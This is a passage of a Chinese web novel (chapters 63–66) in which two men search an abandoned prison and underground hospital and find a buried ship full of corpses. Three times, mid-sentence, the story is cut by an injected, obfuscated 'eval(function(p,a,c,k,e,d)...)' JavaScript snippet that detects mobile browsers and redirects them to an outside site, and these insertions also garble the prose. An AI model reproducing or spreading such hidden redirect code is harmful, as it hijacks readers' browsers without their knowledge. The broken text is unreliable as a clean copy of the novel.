答应是答应了,但时咎觉得有点尴尬,愣在原地没动。他该不会要说来就来,说走就走吧?会不会被觉得没礼貌?何况阿姨还坐着。 然而母子都像能看穿他的心思一样,女人摆了摆手里的酒杯做道别状,沉皑则直接伸手拽住他的手腕把他拖走了。 回来一趟,没有呆到一天,还顺了家里一辆车走。 时咎在车里等,沉皑在房间收拾东西准备离开的时候,抬眼便看到靠在门栏上的女人。 沉皑没说话,女人偏头示意了一下车的方向,开门见山:“喜欢他啊?” 沉皑拉上登山包的拉链,动作没有一点停顿,自然道:“嗯。” “你怎么不问我,我怎么看出来的?”女人疑惑。 沉皑无奈笑了下:“我也没想藏啊。” “好吧,注意安全。” 63. 第 63 章 汽车疾驰在山间,完全看不到那个海湾的时候天已经黑透。 几个小时后,时咎指挥沉皑把车停路边,直接下来绕过车头打开驾驶位的车门,他靠在车身催促道:“差不多了,你过去,我来开。” 自然得没有一丝迟疑。 两人换了座位,系上安全带,时咎一脚油门就飙出去了。同他们的个性一样,沉皑稳稳当当开了大半天,时咎一路火花带闪电。 “慢点。”沉皑提醒说。 时咎看了眼接近160码的速度,说了句:“还行。” 夜晚的高速,特别是他们行驶出来的这条高速没有别的车。 沉皑在研究那个坐标的地址,从卫星地图上模模糊糊的看到几栋房子,房子不远处有一面湖,这个地方距离最近的城市也非常远。 夜晚视野不佳,时咎单手把着方向盘,目光一直认真盯着前方,只有头微微侧过来斜对沉皑问:“季水风怎么跟你说的?” 沉皑简单复述一遍后,强调了这个坐标:“早些年季川泽无意间在言威的办公室里看到的,他去找言威,那天言威火气大,谁也不见,直冲冲地就走了,几天都没有回来,他觉得奇怪,后来就在办公室里看到这个。” “季川泽……”时咎抿了一下这三个字,奇怪问道,“他们暴力解决舟之覆了?” “舟之覆主动帮他们的。” 时咎觉得更奇怪了,当时的沉皑也奇怪这个问题,但在和季水风的通话里,她直接转达了舟之覆说的话:别误会了,我不是想帮你们,我对什么真相不真相也没兴趣,只是言威要让言不恩那呆毛丫头做掌权者我不服,你们几个想扳倒言威又差太远,我作为一个渔翁收利的角色,适当的制衡两头罢了,谁太强太弱都对我不利。 时咎鼻腔里喷出一股气以表达他的不屑和佩服:“嘁,这个人也是难得的真诚。” 但他偶尔觉得舟之覆这个人反而最需要提防。一个两头倒,随时都可能改变的人,琢磨不透他的真实想法,为了自己出气能忍受他们的羞辱,为了骂一句话能接受一顿毒打,被季山月那么对待,为了他的目标还能主动去送信息,甚至毫不在乎说出自己的目的。小不忍则乱大谋的极致。 “对了,我一直有个疑惑。”时咎说,“如果反起源进化就是你们头脑里的通道,你们当时为什么同意做这个?” 沉皑却突然沉默下来。 时咎用余光瞥他一眼,感觉到他不想说,但这个问题他得知道,便轻声叫他:“沉皑?” 沉皑看了眼窗外飞速闪过的灯,闭眼道:“我跟他打了一架,没打过,强制做的。” 闻言,时咎呼吸一窒。 沉皑不愿意面对这件事,他知道被强制拉去做进化是什么感觉,但是他还是对时咎做出了同样的行为,结束后,心里的风起云涌掀起惊涛骇浪。 面对内心的批判,最为痛苦。 沉皑缓慢说:“我们是二十岁成年直接做的虚假通道进化,他当时说是新的实验,我觉得很怪,因为我知道已经有些高层覆盖过以前的透明通道了,如果是某种升级,马上也该会运用到公民里去,但他只是让文明中心的人做了,我觉得他是在做什么改革性尝试,但一定不是升级。” 所以才有了后来的怀疑和反抗,又打了一架,当时本就不合了,雪上加霜,这反而让沉皑更怀疑了,如果正当,为什么要用这样的手段? 时咎轻声说:“你很好。” 这没由来的一句让沉皑愣了半晌,随即笑出来。 “谢谢,你也不赖。” 时咎想着,恩德诺的未成年都嚣张跋扈的,进化后才算正式体验新的人生,但沉皑没有这个机会,他一直被封闭在自己的世界里,却还是活成了现在这样。 一个温柔、有爱的人,时咎觉得愉悦。 不过话说回来,那个坐标…… 终于看到不远处同根道有了汽车尾灯的光,时咎放慢了车速。 车速慢下来,思绪也慢下来。 他有点犹豫,但还是决定向沉皑说:“其实……我觉得我大概能猜出来是怎么回事了。” “什么?”沉皑侧过头,只能看到认真开车的时咎的侧脸。 一直没注意,好像刘海又长了。 时咎快速变道超过前面的车,又把速度提上来了,前面有一条长达两公里的隧道,隐隐的黄色照明灯在深陷的黑暗里格外明显。 时咎长呼一口气,缓慢道:“你刚刚开车的时候我就在研究那个坐标的卫星地图,你可能不太熟悉那个构造,所以看不出来,但是我在那儿呆了二十天……” 话没说完,沉皑猛地反应过来,整个身体刹那不动了,他保持着静止,以让自己快速联系所有他们已知的信息,所有因果,最后露出一个惊愕的表情。 “你是说……” 车承载着漫长的沉默,一头扎进明晃晃的隧道里。 两人到达废弃监狱门口时,已经是第三天正午。 相隔的时日不算特别长,但这里看上去比上次来的时候更加荒凉,野草高出一截,泥土又覆盖一层,在这阳光直射的时间,衍生出了一丝物极必反冰冷的恐惧感。 上次没注意到过的那面湖就在监狱东面一百多米处,是片静止的黑水,周围的芦苇和杂草将它围得严严实实。 两人站在最外围栅栏外,看着这几栋单独耸立的斑驳大平房,连外围都充盈着恐惧,越往里,越往下,层层恐惧般拖人下坠。 片刻,时咎往前走扯开门,发现上次他们离开后,没有要封锁的人,门便没有上锁,两人径直走进去。 不清楚A区的构造,所以他们打算从B区开始。路过不大的外围地区,时咎去看那片曾经颜色不一样的土层,却发现也许是风吹日晒、雨落霜降,土的颜色已经很难分辨哪里是曾经翻动过的痕迹,于是时咎只是朝着那个方向站立,轻轻在胸前画一道十字。 愿他们安详。 监狱内部被囫囵地清理过了,尸体被运走,但是地上的血迹并没有被特殊处理,记忆里的血海此时变得发暗发黑,冲鼻的味道依然浓郁得无法忽视,只是已经不是铁锈味,变成了腥味,或许也有未被完全清理干净的碎肉块的味道。 沉皑第一次来这里,看到这儿的场景便一直眉头紧锁,他问时咎:“你在这儿呆了二十天?” “对啊。”时咎毫不在乎道。 “为什么不尝试醒来?” 说到这个就来气,时咎冷笑一声:“但凡我能醒……” “好吧。” 之前没有机会探查别的牢房,现在有了。时咎往上走,注意着脚下的阶梯,朝沉皑喊:“你一楼,我二楼。”声音在空旷的空间里被无限放大。 “嗯。” 时咎看到二楼的扶手就让他想起那个小孩垂直摔下去的场景,重回同样的地方,画面依然历历在目。 上了二楼,时咎趴在那个栏杆朝下喊:“喂,有可能墙上有字,你注意一下。” 沉皑在一楼对面,背对着他挥手表示知道,便进入一间牢房。 两人一圈搜寻下来并没有找到有用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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轻微的开关声在旁边响起,一束强烈的光瞬时打在玻璃上。 时咎转头:“你怎么还带了手电?” “以防万一。”沉皑平静地说。 手电的光依旧照不透窗户,在灰尘和毛边里倒是被吸收不少。 时咎说:“先去房间看看。” 沉皑:“嗯。” 光移动到走廊的地板上,清晰地映照出地上种种破碎的物体、液体、毛发,随着沉皑的手往上抬,那束光越照越远,范围越来越大,边界也逐渐模糊,直到完全平行时。 光被吞噬了,照不到头,这条走廊长得像没有尽头,只有浓郁的灰尘在光线里四处飘散。 时咎还是打了个寒颤,他说:“好了,我怕等会儿最远处照出个什么拿刀的人影,眨眼就闪现到眼前了,真正的噩梦。” 沉皑听闻,不自觉扬起了嘴角。 又怕又要说。 这是时咎来的第二次,轻车熟路许多,何况这次的同伴是沉皑。 沿着唯一的路,两人分工,同时搜寻相邻的两个房间,这次更加仔细,即使是病房里的档案柜也一层层打开查看,以防错过什么信息。 一间只有档案柜的病房,床被横在走廊呈侧翻状。时咎快速打开柜子,却在柜子最下层意外有了发现。 时咎拿起柜子里的东西迅速走出来去到隔壁找沉皑:“你看我找到了什么?” 沉皑抬头,光打在时咎手上:“这是……” 64. 第 64 章 一个小布偶玩具,像女生会喜欢的洋娃娃,但这个巴掌大的小洋娃娃是用不同颜色的碎布缝合而成,在它的身上穿刺着不下十根长针,遍布在身体的每个角落,头部、四肢和心脏。 时咎一只手晃了晃娃娃,另一只手指向手电,于是沉皑把手电给他了。 结果时咎拿着手电就把把亮度调低,放在下巴从下往上照着自己的脸,像极了鬼片里跳吓时闪现出来的鬼。他配合着这个氛围光,露出一个阴森的笑容,压低声音说:“巫毒娃娃,听说过吗?” 沉皑无奈把他手里的手电又拿回来,顺手用手电头敲了下时咎的脑袋,把光亮调回去。 他说:“知道一些。” 用以对囚禁鬼魂的诅咒。娃娃的身体里藏着某个死去的人的灵魂,这些针刺就是折磨它的方式,推进一根针,如同灼烧它身体同样的部位,直到心脏处的针刺进去。但鬼魂也不会任人折磨,在某根针扎入它的身体时,它或许会暴怒显形,随即开启它的猎杀。 时咎来回研究了一下这个娃娃,发现在它背面的某个拼接布上有字的痕迹,看上去曾经写过什么,但这些字最终被划掉了,只留下一片墨黑。 沉皑接过来看了两眼,轻轻摇头:“看不清写了什么。” “先拿着吧。”时咎说,“我去隔壁继续了。” 沉皑:“嗯,小心点。” 审讯室和禁闭室还是上次看到的模样,里面空无一物,除了满墙满地的血看着令人格外压抑,没有其他有用的东西。 再往前,便是之前季水风所说的实验室,房间很大,两个人没有分头行动而是一起进去了。 房间正中央是一个病床大小的石台,石台还挂着锁链,但这些锁链已经锈得无法拉起来,看上去像某种不愿意好好设计的手术台。四周是陈列柜,陈列柜的玻璃被打碎,在地上散落一地,柜子里也是空空荡荡。 沉皑提醒道:“别过去,会踩到。” 于是时咎换了路线去绕这个房间。 几张课桌东倒西歪,内侧铺满了纸张,于是时咎一张一张翻出来,全是白纸。 毫无发现,不仅这个房间毫无发现,后面全是这种实验室,除了能看到一个被暴力拆开的柜子,大概是当时季水风打开的那一个,其他都是空无一物。 在季水风他们查看这里的时候,应该也全部搜寻过了,如果有什么可疑处肯定能被她发现。 或许已经过去五六个小时,或许外面天已经亮了,从B区开头到A区结尾,这里已经什么都没有了,那言威办公室关于这里的坐标到底是标了什么? 虽然掌权者的办公室不能随意有人进出,但掌权者并不止一位,所以他没有料到季川泽会进去。季川泽说那一次言威消失好几天,会是因为这个坐标?既然他知道这里,是否也来过?他消失的那几天是不是就在这里?无论如何,这是令人匪夷所思的事。 还是说他们来晚了,这里已经被清理干净,如果是这样,线索就又断了。 而且很有可能就是这样。 关了手电,两个人在A区下方那条细窄楼梯上坐着短暂休息,没有光线,这个楼道黑得伸手不见五指。 风声一直在回荡,荡得人心惶惶。若不是胆子够大,时咎觉得自己可能真要疯。 他回忆这一路搜寻过来,问:“有没有可能是暗道?暗道里的暗道。”他说完,便听到声音因为小空间的混响立刻反射回了耳朵里,还是有点瘆人。 沉皑很干脆地说:“没有,我都看过了。”小时候的训练里,找到常人找不到的东西,本来就是基础里的基础,在上面和下面的搜寻中,没有别的通道。 很有可能是一次落空的线索,因为这个坐标已经是很久以前的事,联系言威说,马脚都被他解决了,极大概率是找不到什么的。 “那……”时咎张嘴,突然露出了一丝不怀好意的笑容,他举起手里的娃娃,哂笑,“回家之前,不然我们玩点刺激的,招鬼?” 黑暗里沉皑看不到时咎的表情,只是不想打断他这一份恶趣味,便由着他去:“玩吧。” 时咎眨眨眼,往沉皑的方向摸索着靠了靠,直到完全挨着他坐。他把声音放得非常小,像害怕惊动空间声一样靠在沉皑耳边轻声说:“怎么办,但是我怕。” 话是这么说,但他的语气里没一点怕,只让人感受到故意。 沉皑确定以后真的得想办法把时咎的嘴堵上。 时咎继续玩笑说:“问你,如果一会儿真的招到鬼,鬼还抓到我了,我马上就要死了,你会保护我吗?” 沉皑无声抿唇笑出来,黑暗里看不到彼此的表情,他便没有掩饰那在嘴角和眼角都逐渐上扬的情绪。察觉到时咎身体一动,那些表情又瞬间被他收回去。 他装作从来没有笑过,只是淡声淡语地说:“你不需要我保护。” 话是这么说,但是时咎抓着不放:“那万一呢?” 时咎听到沉皑轻轻叹了口气,好像是被逼着一样无奈道:“会。” 但沉皑觉得这样轻描淡写的回答不足以说明他的坚决,又逐字逐句补充道:“再失去一次能力也会保护你。” “啊。”时咎轻飘飘叹气,他离沉皑太近了,这气声飘到沉皑的耳朵里。 无法忍受。 “啪。”轻微的响动。 时咎瞬间就坐直身体,汗毛竖起来了,他紧促问:“什么声音?” 沉皑笑出来,轻声说:“我不小心踩到东西了。” 闻言,时咎挺直的背立刻弯曲下来,他还以为没招鬼,鬼先来了。 沉皑淡淡嘲讽道:“你看,就这点胆子,还想玩招鬼?” 激将法对时咎有效,他立刻就整个人挪动远离了沉皑,移到楼道阶梯的另一头坐下,呵呵两声说:“你坐那头,我坐这头,我现在就扎针,谁也别想跑,看鬼找谁。” “你随意。”沉皑对妖魔鬼怪感触不深,他一向兵来将挡水来土掩,若真有什么非科学生物,也总是会有办法对付的。 时咎还真把巫毒娃娃掏出来了。 眼睛看不见,只能用双手感受那些布料的纹理和针头。 “我扎了哦。”时咎说。 “嗯。”沉皑的声音有些远。 时咎也不知道自己摸到的是哪里的针,他总感觉自己连娃娃都拿反了,翻来覆去也没找到哪是正面,哪是头,干脆就着离手最近的那根针,轻轻握住,他屏住呼吸,慢慢推进去。 耳边似乎有轰鸣,像在一个过分安静的环境下耳朵听到的声音,说不清是身体的声音还是耳鸣,搭配着绝对黑暗,到底是让时咎手心出汗了。 他的心砰砰直跳,等着有没有什么反应,但一根针进去,并没有鬼来找他,或许是没有推到心脏的那根。 时咎吞口水,在推第二根之前,侧头轻声叫了句:“你有感觉到什么吗?” 阶梯那头没有给回答。 时咎注意力转移走了,他再问一遍:“沉皑?” 不仅没有回答,连呼吸、心跳,什么声音都没有,耳鸣让他听不到任何外界细微的动静。 时咎突然紧张,该不会真的有什么东西能神不知鬼不觉吞噬掉他们吧?而且他们现在坐得远,根本不知道对方是不是还在,就像那个房间里四个角各站一个人的恐怖游戏。 真的没有声音了。 时咎“噌”一下站起来,手里的巫毒娃娃直接扔在地上,他凭记忆往旁边挪了两步,再次小声叫道:“沉皑?” “沉皑!你别吓我!” 声音稍微大一点,黑暗里的灰尘就游荡起来,回声逐渐蔓延开,更瘆人了。 时咎挪动的速度越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187356|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越快,他伸手去够前方,紧接着他的脚踢到了什么东西,啪一声,金属滚动出去,砸在耳膜上有些刺耳。 时咎的心提到了嗓子眼——那是沉皑的手电。 时咎也不管了,他直接往前跨一步,下一秒,他的手掌抵上一道冰凉。 墙。 沉皑不在。 时咎立刻蹲下,手胡乱在地上滑动企图找到刚刚被他踢开的手电,摸了半天,却什么都没摸到。 该不会真的有…… 时咎咬牙,他不该提议这个东西,非得皮那么一下! 他的手有点微抖,越是摸不到手电,越是心慌,心跳速度很快,是恐惧。 就在他有点受不了的时候,一双冰凉从黑暗中直直伸出,从时咎身后往前探去,一把捂住他的嘴,时咎吓得心脏猛地震颤,浑身一抖,不受控叫出来,但声音被吞没在手掌与唇间。 死了算了!!! 那一瞬间时咎很想吐,被吓的。 随后,他听到身后传来笑声,气息就轻轻喷在他耳边。在听到这个熟悉的声音的一瞬间,他恐惧的心脏落回原处,紧接着眼泪掉下来,没有哭的情绪,是惊恐后意识回笼身体不自觉的反应。 眼泪掉很快,迅速落在沉皑的手上,沉皑也愣了一下,一时间忘记松手,直到时咎抬手把他的手掰开。 “你……”沉皑出声,有点无措了,他伸手去摸时咎的脸,把他脸上的眼泪抹掉,“吓到你了?” 时咎脱力坐回阶梯上,心想下次再也不这么搞自己了,他闭眼,有气无力地说:“你大爷的,岂止吓到,我死了算了。” 沉皑坐回他身边,与他贴着,再次伸手,用手背去抹他的脸,语气有点愧疚说:“抱歉。” “你是该抱歉。”时咎往侧倒了下,让自己可以把重心交出去一部分。 靠着这个体温,心跳平息一些,恐惧也收回一些,稍微正常点的时咎开始想发火,他推了一把沉皑,恶狠狠道:“你完了,我记住你了,吓我是吧,你等着。” 沉皑笑:“好。” 沉皑很想就着时咎现在的姿势去搂他的肩,但手指微动,连胳膊都没抬起来,便放弃了。 时咎这种无所谓的性格,才会毫无顾忌,但他不是。 两人休息了一会儿,沉皑找到手电,打开,站起来。他举着手电在那扇门上晃了晃说:“该继续了,去看看对面吧。” 时咎知道他是指那些窗户,窗户外的微光,他上次来的时候就觉得不太对,只是当时跟着何为,外面还有一群杀疯了的小孩,不适合轻举妄动。 时咎整理了一下自己,正色道:“好。” 通常来说,面对感情会有几种人格状态。最健康的人格是能清晰察觉自己的内心,并且勇敢对自己承认,不打扰对方的前提下也敢于向他人承认、一笑置之;第二是明白自己的内心却不敢面对;次之是否定自己的情感并且陷入内耗;最糟糕是不明不白、稀里糊涂。 时咎盘算着自己是哪种,也思索沉皑是哪种。 他觉得他表现得够明显了。 每块窗户的制式都一样,除了透光,再看不清外面任何东西,而且在他们查看完楼上三栋建筑准备下来的时候,沉皑习惯性看过周围的环境,这个晚上是没有月亮的,排除外面是月光。从晚上下到地下开始,窗外的光线明亮度一直没变过。 手电照直射得看不清窗户外,沉皑收回手电,两人又在黑暗的在走廊里走了一段距离,认真查看里每一块窗户。 “怎么样?”时咎轻声问。 仔细检查过一圈,从视觉触觉都排除一遍后,沉皑放下手,压低声音说:“这好像不是窗户。” “是单向透视镜。” 时咎猛然回头:“什么?” 黑暗里,沉皑的眼睛也无限接近于黑色。 65. 第 65 章 框架和样式都完全是窗户的模样,建在走廊的一边,医院、学校走廊都会出现这样的设计,无论怎么看都是窗户,也是遂了人脑习惯性偷工减料的思维方式,见到熟悉的东西先贴上标签。 “那这些光……”打破了既定思维,时咎再次去看那些光,才发现这种光线是窗户里本身就存在的光,并不是从外面照射进来的,污垢也不是由于久远未清洁,是它本身就是这样的。 手电光随意在地上扫视半天,最后光线定落在一个折断的床架上。沉皑走过去捡起那个床架,用力将它完全从床身上抽离出来,折成一个“L”型钢管。 沉皑轻声说:“让我一下。” 时咎退到他身后。 沉皑举起钢管毫不犹豫朝那些玻璃砸下去。 “啪——” “啪——” 连响四五声,剧烈的声响在幽深黑暗的走廊里回荡得让人提心吊胆,炸裂声传到耳朵里甚至觉得耳膜疼。 玻璃渣溅了一地出来,全部坠落到地上。 被砸开的地方失去光照,露出外面森然的黑洞,如同没有眼白的眼睛,黑得令人胆战心惊。 果然没有光了,光来自玻璃本身。 沉皑接连砸碎相邻好几块玻璃,以让它们连接成一个窗口。 “砰!”沉皑把钢管扔回地上。 时咎快步走过去想看玻璃的背面是什么,然而这一看,让他当场震慑在原地,呼吸不由自主全然止住。 心跳的声音被无限放大,血流像冲破大脑又被瞬间凝结。 不是室外,不是墙壁,这窗户外是一个巨大幽深的黑暗洞穴。 洞穴深处被一艘拥有五层楼的大型轮船侵占满,船上所有房间的灯都开着,一层足有二十多扇窗户,上下近百个光点,此时正如密集恐惧症一般密密麻麻漂浮在洞穴里,正对着他们所在的走廊。与这艘轮船相比,站在对面窗边的两个人,渺小得如同蝼蚁。 令时咎感到头皮发麻的不是这艘轮船,是轮船正中央那一层楼…… 站满了人! 他们比肩接踵,一个挨着一个,从左到右站满整层楼,他们背后的窗里开着灯,令人只能看到那一排如同傀儡一样的黑暗人形影子。 那些人影静止不动,只是站在那里,如巨物、如古神、如鬼魅般俯视着、窥探着对面走廊里矮小的两个人。不知道他们是否等候多时,是否一直聚集在对面,从这一排单向镜里监视着他们的一举一动已经许久。 时咎不自觉吞下一口口水,巨大的窒息感压得他喘不过气,他努力保持深呼吸来让自己从压迫里获得稀薄的氧气。 “操。”他喃喃出声。已经不能说是噩梦了,梦魇都形容不出他当下的感受,以后看见镜子都要出现应激反应的程度。 被遥远的巨物凝视。 沉皑很快反应过来,只能抬头才能与对面相隔百米的人们对视,但那些人影全部背光,一个正面也看不见,被轮廓死死锁住视线。 从他们所在的地方距离轮船有大概两百米,中间是洞穴坑洼弯曲的死谷地形,以前应该有过积水,只是现在全部干涸,留下漏斗状的河床。 时咎往后退了一步,目光依然盯着眼前令人汗毛炸裂的景象,问:“现在怎么办?” 他的手心里全是冷汗,额头也沁出几滴,感觉自己的巨物恐惧症犯了。 “你害怕?”沉皑问。 时咎再次吐出一口长气,说:“我有巨物恐惧症。” 此时轮船就像一个深海里从未被人发现的巨兽张开能吞掉几栋大楼的嘴,那些密集站在上面的人影就是它细碎尖锐的牙齿。 沉皑淡然说:“那些不是人,应该只是人体模型。” 仔细观察过很久,即使人强行静止不动,也会因为心跳和呼吸有微不可察的运动,运动总是相对静止的,但轮船上那一排人影毫无活人的迹象,应该是被刻意摆在那的。 时咎深呼吸,压下自己的身体反应,微微朝轮船示意:“要不要过去看看?” 沉皑狐疑地看了他一眼,问:“你还能行?” “行。”时咎咬咬牙,都到这儿了,再恐怖也是人惹出来的乱七八糟的事。 心理压力被无限放大。 沉皑“嗯”了一声,抬头看向对面,片刻,他淡声说:“船头和船尾都嵌在山洞里,可以从山洞壁爬到甲板。” 他回头看时咎,但在微光里并看不真切他的表情。 沉皑说:“下面路不平,你跟我走……如果觉得不舒服要告诉我。” “好。” 沉皑纵身翻过窗户,大概四五米,稳稳落在山洞地面上,才看到这个地下医院本身一部分就建立在这。 时咎跟着跃下去,他感觉这个高度还是可以接受,结果落地的时候在地上滚了好几圈才站起来。 比想象中高多了。 地底有被水冲刷过的痕迹,但不深,不知道是不是这里原来就是河的一部分,也不知道这么大的轮船是如何卡在这个洞穴里的,唯一有可能的就是监狱附近那面死湖,从湖里沉下来沉到这里。 脚步声在山洞的空间里回荡,加上头顶上方那一排人头,让时咎生出一种在全息投影里玩生存探险游戏的错觉。 岩石墙体错落排序,看上去也不像是某种天然形成,倒像人为制造出来的,每块大石头上有足够的落脚空间。 时咎站在沉船边,仰头望着上方,巨大的沉船让他想到克苏鲁神话中的海底城市拉莱耶。 沉船最下方布满污垢,看上去曾经漂浮在某块肮脏水里,所以它曾经是有在水里的时间里,只是不知道出于何种原因,被整个掩埋到了地底。 想要爬上去到达甲板,下层建筑还有十多米的高度,对于时咎来说并不算轻而易举的事。 接着在时咎目瞪口呆的眼神里,沉皑从包里掏出一捆细绳出来,时咎认得这种绳子,用来束缚人的双层石墨烯绳。 时咎惊讶:“怎么你什么都带着?” 沉皑笑:“不占地方,看到就拿了,也没想会派上用场。” 他拿绳子在自己腰上系结,又围到时咎腰上,一边打结一边低声说:“你跟着我的落脚往上爬,小心一点,踩滑了我拉你。” “好。” 沉皑最后拉紧绳子确认它不会中途散落,转身便往上攀爬,让出整个身位后,他回头示意时咎上来。 沉皑踏了哪一块,时咎跟着往上走,一边注意地形,一边听到沉皑在上面说:“爬的时候手腕放松,用手指尖接触支点,别往下看。” 他很熟练,好像攀爬这件事已经进行过千万遍。 好在每块石头不大,基本挪动两下就有一个较大的落脚点,时咎跟着沉皑的路线一路往上,看到沉皑抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187357|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住船身的刹那手臂发力整个人撑了上去。 “咚!”鞋底踩在甲板的金属碰撞声,卷起周围一圈灰尘。 沉皑回头将半个身体探出去,向下伸出手:“手给我,另只手松开。” 时咎照做,接着他整个人被沉皑提上去。 两个人靠在船舷边休息。 地上都是厚厚的灰,两人踩过的地方有非常明显的鞋印,除此以外灰蒙蒙一片,是长久无人的迹象,应该废弃很久了,和这所地下医院一样。 从甲板上就能看到不远处那一排地下医院的窗户,透过玻璃,能比较清晰看到那排空洞的走廊,长得像地下的蛆虫。医院里,打开的门里一片黑,换个角度依然看得人后背发凉。 恐怕言威写的那个坐标正是这艘沉船,他敢那么光明正大地放着,说明他相信就算有人怀疑,也只能找到监狱,但注定一无所获,再仔细一点或许能发现这所地下医院,也已经被清理干净。 能想到,或者循着线索能发现这艘沉船,还能顺利上来的,没几个能做到。 休息片刻,时咎站直身体说:“走。” “叮——” 不合时宜的铃声响起,是沉皑的手机,只响了一瞬间便消失。 沉皑拿出来看了一眼:“是季水风。”他企图回拨,但在这地下的洞穴里根本没有信号,刚刚响起的刹那应该也只是无意中接收到的信号,只能从这儿出去后再说。 沉皑放回手机,用下巴示意里面:“先从一楼开始。” 甲板上很干净,没有堆放任何杂物,进入船舱内部的门把手上也是铁锈,上面的灰尘清晰可见,手把上去能感受到沾了一手灰。 推门进入,门口便是一个大理石吧台,吧台上放着破碎的酒瓶还有几本空白草纸。 “这……”时咎往前大跨一步,喃喃道,“这是什么度假村。” 跟想象中的船舱不同,偌大的空间可以一眼尽收眼底,这里栖身了不少娱乐设施,微型电影院、室内泳池、小型读书室、酒吧,餐厅的桌上还有餐具,但里面没有盛任何食物,红酒杯里黏稠的物体像是放了几十年的液体,杯壁上也有鲜明的划痕。 但无一列外全部都被灰尘覆盖,泳池里干透了,太久没有打理显得像泥池,整个看起来像是船员的娱乐楼层。 船内部的灯亮着,看上去都是应急灯,只能提供基础照明,但足够把这些场景照出来。 时咎疑惑环视周围,问:“这里近期还有人来过?”问完就觉得看也知道不像是能有人近期活动过的样子,于是补充道,“发电装置在哪?” 沉皑慢慢绕行一圈,四处都只能看到他俩的脚印在灰尘中留下印记。他走到光源旁,眯起眼睛观察片刻说:“同位素光源。” “嗯?”时咎转过头。 沉皑解释:“一种利用同位素放射性衰变产生能量来发光的装置,可以辐射出可见光或者其他波长的光。” 相当于长明灯,不需要依靠发电装置。 所以楼上的光会在这里常亮。 时咎慢慢走回沉皑身边,奇怪道:“谁在这儿建个这种东西啊,洞穴里暗无天日的,出去还只能看到医院。” “不知道。”沉皑应了一声,目光扫到角落的旋转楼梯,“上去看看。” 旋转楼梯的材质像水晶,每一步阶梯都是透明的,不紧不慢螺旋上升。 66. 第 66 章 一到二楼,布局就发生了改变,经过一个类似客厅的空间,便指向两条狭长的长廊,走廊平铺着深红色地毯,踩上去一点声音也没有,走廊两边墙上依然有长明灯亮着,但微弱的光在密闭空间里只能让人联想到恐怖片场景。 “我左你右。”时咎说。 这样的装修形式就像欧洲某些贵族度假村酒店,门把手一拧开,果然看到的是如同酒店房间的布置:床、衣柜、独立洗手间。 房间内没有灯,只能依靠走廊的光线。时咎走进去,发现连房间里也铺着地毯。 还有些书歪歪倒倒地被放在书桌上。 《恩德诺生物科技简史》、《细胞命名法规》、《基因科学工程》…… 时咎打开衣柜,诧异发现里面居然还挂着很多衣服,洗手间里的毛巾杯子牙刷也都正常放着,只是全部发霉腐烂了。他还以为这里像地下医院一样只留下空壳。 看来这里曾经确实有人长期生活过,并且在走的时候都来不及收拾他们的物品。 转出来第二个房间,门被锁上了。时咎毫不犹豫一脚踹开,门“砰”的一声砸在墙上,巨大的声音回荡出去。 紧接着那边就传来了沉皑的声音:“时咎?” 时咎大声回道:“没事,踹门!” 沉皑没回答了。 房间的样式都差不多,除了摆设不同,都是曾经住在这里的人的生活痕迹,栩栩如生,若不是蒙尘太厚,会让人误以为这些人还住在这里,只是一时有事出去了。 还有两个房间看完,时咎听到了另一头沉皑的声音。 “时咎,过来!” “马上!” 时咎迅速走完最后两个房间,原路返回跑到沉皑那边去。 沉皑就站在最后一个房间的门口,见时咎过来,用下巴示意这个房间里面。 “怎么了?”时咎问,一转身过来,便愣住了。 门是开着的,门口躺着个人,准确来说是躺了人的衣物。时咎蹲下来去撩开衣服角,看到下面的白骨。 这个环境,大概也有十几年或者几十年了。 这个房间和其他“干净”的房间不同,尸体下面的地毯明显颜色深于其他地方,这种深色并不是只在尸体下才有,它从门外一直延伸进来,在昏暗的灯光下,那一路滴状线状的血迹指向走廊尽头,看上去是临死前企图爬回房间,但也只爬到门口便结束了。 时咎目光顺着痕迹往转角处看去:“过去看看吗?” “嗯。” 这已经是最边缘的房间,在往前走,过一个转角,血迹隐匿在一扇门里,沉皑伸手轻轻一推,吱呀一声就开了。 沉皑回头,看见时咎站在原地没动。 他想起了刚刚在地下医院看到的那一幕,没记错的话,那些人影全部都在三楼。虽然沉皑说那是假人,但第一眼看到的冲击感还是给时咎留下不小的心理阴影。 沉皑已经走了几步在上面看着他,挑眉笑道:“不然你在这等我?” 时咎冷漠:“不可能。” 这个楼梯应该是应急用的,并不宽敞,装饰也不繁杂。 两人三两步走到楼上的门前,推开,三楼的景象全然曝露出来。 “我……”时咎没忍住发出惊叹。 门正对着一条走廊,走廊前方还有分叉,四周都是房间,能看出来是某种实验室,但能一眼收尽的原因是所有房间都是透明玻璃墙。 只需要站在一个地方,便能将整层楼尽收眼底。 在这玻璃墙里,几乎每个房间都横躺竖垂着尸体、白骨,污渍血迹在玻璃上洒了一滩接着一道。 